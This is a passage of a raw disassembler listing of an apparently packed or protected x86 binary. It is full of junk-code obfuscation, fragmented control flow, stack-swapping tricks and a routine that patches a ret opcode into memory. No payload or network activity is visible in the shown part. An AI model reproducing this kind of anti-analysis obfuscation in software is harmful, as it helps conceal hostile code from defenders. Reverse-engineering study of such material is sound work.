					; sub_442BBA:loc_4576A3p

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0043ACBA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004546FA SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_45288A
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		mov	ecx, [esp+10h]
		jmp	loc_43ACBA
sub_43F9BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F9D4:				; CODE XREF: dviuq5id:0045453Bj
		and	ebx, edx

loc_43F9D6:				; CODE XREF: dviuq5id:loc_45452Ej
		rol	ebx, 1Dh
		add	ebx, 640A389h
		xchg	ebx, [esp]
		jmp	sub_4571A7

; =============== S U B	R O U T	I N E =======================================



sub_43F9E7	proc near		; CODE XREF: dviuq5id:0043CA70j
					; sub_440347+8p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h

; FUNCTION CHUNK AT 0044228A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004439DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444DE5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044C5B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D167 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455B1D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004587A8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0045A23E SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		push	ecx
		push	71EB7DACh
		jmp	loc_44C5B4
sub_43F9E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_43F9FE:				; CODE XREF: sub_44A94D:loc_4517B6j
		mov	edi, eax
		pop	eax
		or	edi, 0C79C8C18h
		cmp	edi, 0B515718Dh
		jmp	loc_4397E6
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------

loc_43FA12:				; CODE XREF: dviuq5id:004431B5j
		cmp	ebp, esi
		jmp	loc_456547
; ---------------------------------------------------------------------------

loc_43FA19:				; CODE XREF: dviuq5id:loc_4481D6j
		jb	loc_44C032
		ror	esi, 2
		and	esi, 39CF5323h
		jmp	loc_44C02F
; ---------------------------------------------------------------------------

loc_43FA2D:				; CODE XREF: dviuq5id:00459583j
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		call	sub_451E0A
		jmp	loc_44592C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43FA3D:				; CODE XREF: sub_44EAC4+48FAj
		jns	loc_450887
		cmp	ebx, 3783250h
		jmp	loc_4463A1
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	ebp
		push	edx
		jmp	loc_44B21D

; =============== S U B	R O U T	I N E =======================================



sub_43FA59	proc near		; CODE XREF: sub_44DB43-10E0Fp
					; dviuq5id:004508E6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004390A8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004390D1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043976A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00439CE6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00439DF4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043A747 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043ABA4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AFB3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043B31F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C974 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043CB6F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043CBF8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043CC7E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043CD3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D9F6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043DB07 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DE81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E25A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043E75D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E962 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F6E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FC7E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043FE16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044041C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004406A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004406BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044130C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004415BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441687 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441994 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441EA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442F75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044364A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044408D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044469E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444722 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00444DD2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044500E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004469F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446BAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446DF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DC5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004485F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448683 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448937 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448C56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448FE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449117 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044942C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044982B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449D7C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A4C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B926 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044BF3E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C1BC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044CBD7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D898 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044DCB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD04 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DE43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044E0D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E547 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E641 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E68A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E860 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044EDC1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004508B4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00450920 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450ECC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004510E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045128F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00451414 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004516BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451CF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452005 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00452033 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045234C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453431 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00453812 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00453E08 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004546AB SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00454B4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00454BC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454E04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004550ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004553AE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004555C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045578F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00455BD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455C61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456021 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004562CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004569CE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00456D63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456E09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045701D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00457069 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457492 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004577C3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004580A8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0045811A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458518 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458777 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00458CAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045923A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045952A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00459D04 SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-4], eax

loc_43FA60:				; CODE XREF: sub_440F1B+122BEj
					; sub_4534AA+Cj
		jz	loc_4553B5
		cmp	dword ptr [ebp-4], 0
		jnz	loc_43CB6F
		jmp	loc_448FE0
sub_43FA59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43FA75:				; CODE XREF: sub_449222:loc_44DDDFj
		pop	esi
		xor	esi, 87A6C2Ch
		rol	esi, 0Dh
; END OF FUNCTION CHUNK	FOR sub_449222
; START	OF FUNCTION CHUNK FOR sub_450686

loc_43FA7F:				; CODE XREF: sub_450686:loc_43D4F9j
		add	esi, 98E4877Fh
		sub	eax, esi
		call	sub_44C378

loc_43FA8C:				; CODE XREF: sub_45002A-88B6j
		add	eax, 247585h
		call	sub_445EA1

loc_43FA97:				; CODE XREF: sub_44D022-AA2Ej
		jnz	loc_45462B
		jmp	loc_44768D
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
		jmp	ds:off_41D074
; ---------------------------------------------------------------------------

loc_43FAA8:				; CODE XREF: dviuq5id:0045305Dj
		jmp	loc_44A9B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA9A

loc_43FAAD:				; CODE XREF: sub_44CA9A+3j
		jmp	loc_4395CB
; END OF FUNCTION CHUNK	FOR sub_44CA9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43FAB2:				; CODE XREF: sub_43CB4C+D1BFj
		jmp	loc_4576AD
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43FAB7:				; CODE XREF: sub_43EB11-4355j
					; dviuq5id:loc_43F1EBj
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A245

loc_43FABC:				; CODE XREF: sub_43A245+9j
		jmp	loc_43DDBF
; END OF FUNCTION CHUNK	FOR sub_43A245
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_43FAC1:				; CODE XREF: sub_44CA06:loc_43E87Aj
					; sub_43D24F+16C3j ...
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jb	loc_44ED8E
		mov	eax, [esp+0]
		call	sub_458B23

loc_43FAD5:				; CODE XREF: sub_4547E2-498Dj
		jmp	loc_441F01
; END OF FUNCTION CHUNK	FOR sub_44CA06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43FADA:				; CODE XREF: sub_43EB11:loc_442CBEj
		pop	esi
		jmp	loc_456201
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_43FAE0:				; CODE XREF: dviuq5id:0044A5A3j
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_43FAE1	proc near		; CODE XREF: sub_44F51E+5B4Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439D84 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00439E97 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00439ED4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A007 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A0D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BFEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C8D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD22 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440A97 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441B6A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004436A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443932 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443E31 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044442A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004444A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004465AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A55E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A6B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B933 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D6DD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044F3FA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00450491 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004504FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004507C1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00452AB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455A4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045617C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456A6B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00458889 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004596E0 SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	esp, ebp
		jmp	loc_44A55E
sub_43FAE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_43FAEC:				; CODE XREF: sub_456253:loc_43B9B0j
		and	ebx, ds:4000F8h
		xor	ebx, 229023E1h
		xor	eax, ebx
		xchg	edx, [esp+4+var_4]
		mov	ebx, edx
		pop	edx
		ror	eax, 1Dh
		jo	loc_44C2B5
; END OF FUNCTION CHUNK	FOR sub_456253
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43FB09:				; CODE XREF: sub_43FDFB:loc_442ED3j
		jmp	loc_441293
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DFE3

loc_43FB0E:				; CODE XREF: sub_44DFE3+Dj
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44DFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A06

loc_43FB12:				; CODE XREF: sub_444A06+9j
		jmp	sub_440CD6
; END OF FUNCTION CHUNK	FOR sub_444A06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452470

loc_43FB17:				; CODE XREF: sub_452470-6602j
					; sub_4512D6j
		mov	eax, [ebp-0Ch]
		call	sub_45A1FB
; END OF FUNCTION CHUNK	FOR sub_452470
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_43FB1F:				; CODE XREF: sub_43D181+1066j
		jmp	loc_454DD2
; END OF FUNCTION CHUNK	FOR sub_43D181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_43FB25:				; CODE XREF: sub_447C0B+14DDj
		cmp	edi, 0A52A8D7Ah
		jmp	loc_43E206
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_43FB30:				; CODE XREF: sub_459804:loc_43E97Aj
		jl	loc_445362
		jmp	loc_448E79
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F2F5

loc_43FB3B:				; CODE XREF: sub_44F2F5-42CDj
		sub	ecx, 81F66D7Fh

loc_43FB41:				; CODE XREF: sub_44F2F5:loc_44B021j
		and	ecx, 58BEE1Eh
		sub	ecx, 0A3C43FB0h
		or	ecx, 0B001A203h
		add	ecx, 2FDEE72h
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_444A8E
; END OF FUNCTION CHUNK	FOR sub_44F2F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44549E

loc_43FB61:				; CODE XREF: sub_44549E:loc_44F9A6j
		xor	eax, 0C4F9E9F5h
		xchg	eax, [esp+0]
		push	eax
		pushf
		push	456C1BD5h
		sub	eax, ebp
		jmp	loc_457B65
; END OF FUNCTION CHUNK	FOR sub_44549E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_43FB78:				; CODE XREF: sub_43BA0E:loc_444051j
		pop	eax
		or	eax, 0F509D548h
		sub	eax, 0CC559A18h
		xor	eax, 94B5D87Eh
		test	eax, 80h
		jmp	loc_456896
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------

loc_43FB96:				; DATA XREF: sub_44E1C0+856Ao
		add	edx, 5754D2BDh
		add	edx, ebp
		add	edx, 86AB2CFFh
		mov	edx, [edx]
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_43FBA6:				; CODE XREF: sub_44CBA2-12593j
		imul	byte ptr [edx]
		jmp	loc_44211E
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_43FBAD:				; CODE XREF: sub_43E095+Cj
		jnz	loc_44D8FF
		jmp	loc_4501CB
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43FBB8:				; CODE XREF: sub_442BFE-90DCj
		jns	loc_456506

loc_43FBBE:				; CODE XREF: sub_442BFE:loc_459146j
		push	0D9133541h
		pop	eax
		rol	eax, 17h
		xor	eax, 0AB5C6858h
		call	sub_453642
		jmp	loc_43B18F
; END OF FUNCTION CHUNK	FOR sub_442BFE

; =============== S U B	R O U T	I N E =======================================



sub_43FBD7	proc near		; DATA XREF: sub_44F413+10o

; FUNCTION CHUNK AT 0043D611 SIZE 00000005 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_43D611
sub_43FBD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FBDF	proc near		; CODE XREF: sub_410957+14Cp
					; sub_43FBDF+5j
					; DATA XREF: ...
		call	sub_43FBEA
		jmp	ds:off_41D0A4
sub_43FBDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FBEA	proc near		; CODE XREF: sub_4408ED:loc_43AF18j
					; sub_43FBDFp ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D37E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442ADD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00447878 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448442 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044913E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454F66 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00455B2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455F66 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004585A7 SIZE 0000000E BYTES

		jno	loc_448442
		jmp	loc_455F66
sub_43FBEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_43FBF5:				; CODE XREF: sub_45288A:loc_43F6ABj
		pop	edi
		rol	edi, 1Ch
		sub	edi, 289C6174h
		add	edi, 99B99F95h
		xor	edi, 0CFE6906Fh
		add	edi, 66468E0Bh
		xchg	edi, [esp+0]
		jmp	loc_4441A9
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
		shl	edx, 0Fh
		jmp	sub_444EE2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43FC22:				; CODE XREF: dviuq5id:0044B6B1j
		jmp	loc_44D7FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43FC28:				; CODE XREF: sub_441DDA+1117Aj
		jmp	loc_450839
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_43FC2D:				; CODE XREF: dviuq5id:004454C4j
		jmp	loc_44DFCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43FC32:				; CODE XREF: sub_441DDA-60E7j
		jmp	loc_44AA8F
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_43FC37:				; CODE XREF: dviuq5id:00454692j
		jb	loc_44A95C
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43FC3D:				; CODE XREF: sub_446682:loc_44477Bj
					; sub_44C085+A3E4j
		xor	edi, 0F336A6ADh
		xor	ecx, edi
		pop	edi
		jmp	loc_442D28
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43FC4B:				; CODE XREF: sub_440898+B57Fj
		jnz	loc_443037
		jmp	loc_44CF55
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4553DE

loc_43FC56:				; CODE XREF: sub_4553DE:loc_439063j
		call	sub_439BB2
		shr	edi, 0Bh
		pushf
		jmp	sub_458C46
; END OF FUNCTION CHUNK	FOR sub_4553DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43FC64:				; CODE XREF: sub_454094+4D53j
		add	edi, ds:4000F9h
		or	edi, 16F180BBh
		add	edi, 284F402Fh
; END OF FUNCTION CHUNK	FOR sub_454094
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43FC76:				; CODE XREF: sub_4525D0+58E5j
		xchg	edi, [esp+0]
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43FC7E:				; CODE XREF: sub_43FA59:loc_458518j
		mov	ecx, edi
		jnz	loc_43ABA4
		sub	ebx, 0EEC4EEF7h
		and	ebx, esi
		sub	esi, 6F9C3DF3h
		jmp	loc_447DC5
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_43FC99:				; CODE XREF: sub_451E0A-1626Bj
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		push	offset sub_43ECF4
		jmp	loc_43F3C4
; END OF FUNCTION CHUNK	FOR sub_451E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_43FCA8:				; CODE XREF: sub_4483A4+15j
		sub	esi, 618ED62Dh
		add	esi, 0C40D27EDh
		jnz	loc_43BB05

loc_43FCBA:				; CODE XREF: dviuq5id:00444833j
		jmp	loc_43B944
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------
		ja	loc_451951
		push	ecx
		jmp	loc_43BB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_43FCCB:				; CODE XREF: sub_4427AE+67Bj
		mov	eax, 0B3h
		call	sub_44279B

loc_43FCD5:				; CODE XREF: dviuq5id:0043D3C8j
		jbe	loc_445D84
		popf
		pushf

loc_43FCDD:				; CODE XREF: sub_4574FD-1A151j
		add	esi, 3F449CDAh
		and	esi, 0DE3E4413h
		jmp	loc_4511F5
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B880

loc_43FCEE:				; CODE XREF: sub_43B880+2C94j
		shr	ecx, 8
		jmp	loc_444228
; END OF FUNCTION CHUNK	FOR sub_43B880
; ---------------------------------------------------------------------------

loc_43FCF6:				; CODE XREF: dviuq5id:00457A70j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_444228
		jmp	loc_442019
; ---------------------------------------------------------------------------

loc_43FD0A:				; DATA XREF: sub_456AFA+11o
		push	eax
		jmp	loc_43DFF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_43FD10:				; CODE XREF: sub_4440E9:loc_43C3E6j
		cmp	dword ptr [ebp-10Ch], 36343831h
		jnz	loc_446D87
		jmp	loc_443639
; END OF FUNCTION CHUNK	FOR sub_4440E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:off_41D150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1DF

loc_43FD2C:				; CODE XREF: sub_45A1DF-AE01j
		jmp	sub_44FD8E
; END OF FUNCTION CHUNK	FOR sub_45A1DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_43FD31:				; CODE XREF: sub_44CB39-13729j
					; sub_445C8C+Dj ...
		xchg	ebp, [esp-4+arg_0]
		mov	edx, ebp
		xchg	eax, [esp-4+arg_0]
		mov	ebp, eax
		pop	eax
		jns	loc_445C9E
		mov	eax, [esp-8+arg_4]
		jmp	loc_440D8C
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------

loc_43FD4A:				; CODE XREF: dviuq5id:00458C1Fj
		cmp	eax, [ebp-14h]
		jb	loc_4467F3
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_43FD5F:				; CODE XREF: sub_43C3D8+4j
		jmp	loc_4467ED
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
		shl	eax, 5
		jmp	sub_440F1B
; ---------------------------------------------------------------------------
		push	offset sub_442B4F
		jmp	locret_44E7CC
; ---------------------------------------------------------------------------

loc_43FD76:				; CODE XREF: dviuq5id:loc_446B6Bj
		xchg	eax, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------
		test	edx, 0A840227Ch
		jmp	loc_45344E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_388. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455CD1

loc_43FD8A:				; CODE XREF: sub_455CD1+13j
		jmp	loc_441C40
; END OF FUNCTION CHUNK	FOR sub_455CD1
; ---------------------------------------------------------------------------

loc_43FD8F:				; CODE XREF: dviuq5id:00444AF3j
		jmp	loc_44CA62
; ---------------------------------------------------------------------------

loc_43FD94:				; CODE XREF: dviuq5id:loc_45834Fj
		mov	[ebx], eax
		pop	ebx
		call	sub_445C8C
; START	OF FUNCTION CHUNK FOR sub_4520DC

loc_43FD9C:				; CODE XREF: sub_4520DC-1F99j
		jmp	nullsub_337
; END OF FUNCTION CHUNK	FOR sub_4520DC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
